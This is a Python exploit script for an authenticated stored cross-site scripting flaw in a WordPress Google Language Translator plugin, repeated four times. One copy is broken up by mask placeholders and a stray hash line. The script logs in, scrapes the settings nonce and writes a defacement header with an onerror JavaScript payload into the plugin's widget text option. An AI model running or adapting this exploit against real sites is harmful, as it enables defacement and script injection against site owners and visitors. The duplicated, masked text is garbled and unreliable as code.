#/usr/bin/env python3

import requests
import re
import sys
from termcolor import colored

(banner) = """
__        __            _                           
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __|
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ 
                         |_| 
Authenticated Stored XSS - Translate WordPress – Google Language Translator    
by https://github.com/apapedulimu                  
"""
print(colored(banner, 'green'))
print(colored("usage : \n======= \npython3 exploit.py http://<IP>:<PORT>/ <Username> <Password>\n",'red'))

payload = "<h1>Hacked By Hacker</h1><img src=x onerror=alert(document.domain)>"
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

data = {
	'log':username,
	'pwd':password,
	'wp-submit':'Log In',
	'redirect_to':url+'wp-admin/',
	'testcookie':1
}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:
	print("[+] Login successful.")
else:
	print("[-] Failed to login.")
	exit(0)
cookies = r.cookies

print("[+] Check Installed Plugin ")
res = requests.get(url+'wp-admin/options-general.php?page=google_language_translator',cookies=cookies)

if r.status_code == 200:
	print("[+] Plugin Installed.")
else:
	print("[-] Plugin not installed on the website.")
	exit(0)

wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
	print("[-] Failed to retrieve the _wpnonce \n")
	exit(0)
else :
	wp_nonce = wp_nonce_list[0]
	print("[+] Wp Nonce retrieved successfully !\n[+] _wpnonce : " + wp_nonce)

data = {
	'option_page':'google_language_translator',
    '_wpnonce': wp_nonce,
	'action':'update',
    'googlelanguagetranslator_active':'1',
	'googlelanguagetranslator_floating_widget':'yes',
	'googlelanguagetranslator_floating_widget_text': payload
}

res = requests.post(url+'wp-admin/options.php',data=data, cookies=cookies)

if res.status_code == 200:
	print("[+] Exploit Success.\n[+] Open "+url+"wp-admin/options-general.php?page=google_language_translator")
else:
	print("[-] Exploit Failed.")
	exit(0)

f39931f5bc2fdea0107199f14db4e38227979514
<mask token>

<mask token>
print(colored(banner, 'green'))
print(colored(
    """usage : 
======= 
python3 exploit.py http://<IP>:<PORT>/ <Username> <Password>
"""
    , 'red'))
<mask token>
if r.status_code == 200:
    print('[+] Login successful.')
else:
    print('[-] Failed to login.')
    exit(0)
<mask token>
print('[+] Check Installed Plugin ')
<mask token>
if r.status_code == 200:
    print('[+] Plugin Installed.')
else:
    print('[-] Plugin not installed on the website.')
    exit(0)
<mask token>
if len(wp_nonce_list) == 0:
    print('[-] Failed to retrieve the _wpnonce \n')
    exit(0)
else:
    wp_nonce = wp_nonce_list[0]
    print('[+] Wp Nonce retrieved successfully !\n[+] _wpnonce : ' + wp_nonce)
<mask token>
if res.status_code == 200:
    print('[+] Exploit Success.\n[+] Open ' + url +
        'wp-admin/options-general.php?page=google_language_translator')
else:
    print('[-] Exploit Failed.')
    exit(0)

<mask token>
banner = """
__        __            _                           
\\ \\      / /__  _ __ __| |_ __  _ __ ___  ___ ___  
 \\ \\ /\\ / / _ \\| '__/ _` | '_ \\| '__/ _ \\/ __/ __|
  \\ V  V / (_) | | | (_| | |_) | | |  __/\\__ \\__ \\ 
   \\_/\\_/ \\___/|_|  \\__,_| .__/|_|  \\___||___/___/ 
                         |_| 
Authenticated Stored XSS - Translate WordPress – Google Language Translator    
by https://github.com/apapedulimu                  
"""
print(colored(banner, 'green'))
print(colored(
    """usage : 
======= 
python3 exploit.py http://<IP>:<PORT>/ <Username> <Password>
"""
    , 'red'))
payload = '<h1>Hacked By Hacker</h1><img src=x onerror=alert(document.domain)>'
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
data = {'log': username, 'pwd': password, 'wp-submit': 'Log In',
    'redirect_to': url + 'wp-admin/', 'testcookie': 1}
r = requests.post(url + 'wp-login.php', data=data)
if r.status_code == 200:
    print('[+] Login successful.')
else:
    print('[-] Failed to login.')
    exit(0)
cookies = r.cookies
print('[+] Check Installed Plugin ')
res = requests.get(url +
    'wp-admin/options-general.php?page=google_language_translator', cookies
    =cookies)
if r.status_code == 200:
    print('[+] Plugin Installed.')
else:
    print('[-] Plugin not installed on the website.')
    exit(0)
wp_nonce_list = re.findall('name="_wpnonce" value="(\\w+)"', res.text)
if len(wp_nonce_list) == 0:
    print('[-] Failed to retrieve the _wpnonce \n')
    exit(0)
else:
    wp_nonce = wp_nonce_list[0]
    print('[+] Wp Nonce retrieved successfully !\n[+] _wpnonce : ' + wp_nonce)
data = {'option_page': 'google_language_translator', '_wpnonce': wp_nonce,
    'action': 'update', 'googlelanguagetranslator_active': '1',
    'googlelanguagetranslator_floating_widget': 'yes',
    'googlelanguagetranslator_floating_widget_text': payload}
res = requests.post(url + 'wp-admin/options.php', data=data, cookies=cookies)
if res.status_code == 200:
    print('[+] Exploit Success.\n[+] Open ' + url +
        'wp-admin/options-general.php?page=google_language_translator')
else:
    print('[-] Exploit Failed.')
    exit(0)

import requests
import re
import sys
from termcolor import colored
banner = """
__        __            _                           
\\ \\      / /__  _ __ __| |_ __  _ __ ___  ___ ___  
 \\ \\ /\\ / / _ \\| '__/ _` | '_ \\| '__/ _ \\/ __/ __|
  \\ V  V / (_) | | | (_| | |_) | | |  __/\\__ \\__ \\ 
   \\_/\\_/ \\___/|_|  \\__,_| .__/|_|  \\___||___/___/ 
                         |_| 
Authenticated Stored XSS - Translate WordPress – Google Language Translator    
by https://github.com/apapedulimu                  
"""
print(colored(banner, 'green'))
print(colored(
    """usage : 
======= 
python3 exploit.py http://<IP>:<PORT>/ <Username> <Password>
"""
    , 'red'))
payload = '<h1>Hacked By Hacker</h1><img src=x onerror=alert(document.domain)>'
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
data = {'log': username, 'pwd': password, 'wp-submit': 'Log In',
    'redirect_to': url + 'wp-admin/', 'testcookie': 1}
r = requests.post(url + 'wp-login.php', data=data)
if r.status_code == 200:
    print('[+] Login successful.')
else:
    print('[-] Failed to login.')
    exit(0)
cookies = r.cookies
print('[+] Check Installed Plugin ')
res = requests.get(url +
    'wp-admin/options-general.php?page=google_language_translator', cookies
    =cookies)
if r.status_code == 200:
    print('[+] Plugin Installed.')
else:
    print('[-] Plugin not installed on the website.')
    exit(0)
wp_nonce_list = re.findall('name="_wpnonce" value="(\\w+)"', res.text)
if len(wp_nonce_list) == 0:
    print('[-] Failed to retrieve the _wpnonce \n')
    exit(0)
else:
    wp_nonce = wp_nonce_list[0]
    print('[+] Wp Nonce retrieved successfully !\n[+] _wpnonce : ' + wp_nonce)
data = {'option_page': 'google_language_translator', '_wpnonce': wp_nonce,
    'action': 'update', 'googlelanguagetranslator_active': '1',
    'googlelanguagetranslator_floating_widget': 'yes',
    'googlelanguagetranslator_floating_widget_text': payload}
res = requests.post(url + 'wp-admin/options.php', data=data, cookies=cookies)
if res.status_code == 200:
    print('[+] Exploit Success.\n[+] Open ' + url +
        'wp-admin/options-general.php?page=google_language_translator')
else:
    print('[-] Exploit Failed.')
    exit(0)

#/usr/bin/env python3

import requests
import re
import sys
from termcolor import colored

(banner) = """
__        __            _                           
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __|
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ 
                         |_| 
Authenticated Stored XSS - Translate WordPress – Google Language Translator    
by https://github.com/apapedulimu                  
"""
print(colored(banner, 'green'))
print(colored("usage : \n======= \npython3 exploit.py http://<IP>:<PORT>/ <Username> <Password>\n",'red'))

payload = "<h1>Hacked By Hacker</h1><img src=x onerror=alert(document.domain)>"
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

data = {
	'log':username,
	'pwd':password,
	'wp-submit':'Log In',
	'redirect_to':url+'wp-admin/',
	'testcookie':1
}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:
	print("[+] Login successful.")
else:
	print("[-] Failed to login.")
	exit(0)
cookies = r.cookies

print("[+] Check Installed Plugin ")
res = requests.get(url+'wp-admin/options-general.php?page=google_language_translator',cookies=cookies)

if r.status_code == 200:
	print("[+] Plugin Installed.")
else:
	print("[-] Plugin not installed on the website.")
	exit(0)

wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
	print("[-] Failed to retrieve the _wpnonce \n")
	exit(0)
else :
	wp_nonce = wp_nonce_list[0]
	print("[+] Wp Nonce retrieved successfully !\n[+] _wpnonce : " + wp_nonce)

data = {
	'option_page':'google_language_translator',
    '_wpnonce': wp_nonce,
	'action':'update',
    'googlelanguagetranslator_active':'1',
	'googlelanguagetranslator_floating_widget':'yes',
	'googlelanguagetranslator_floating_widget_text': payload
}

res = requests.post(url+'wp-admin/options.php',data=data, cookies=cookies)

if res.status_code == 200:
	print("[+] Exploit Success.\n[+] Open "+url+"wp-admin/options-general.php?page=google_language_translator")
else:
	print("[-] Exploit Failed.")
	exit(0)
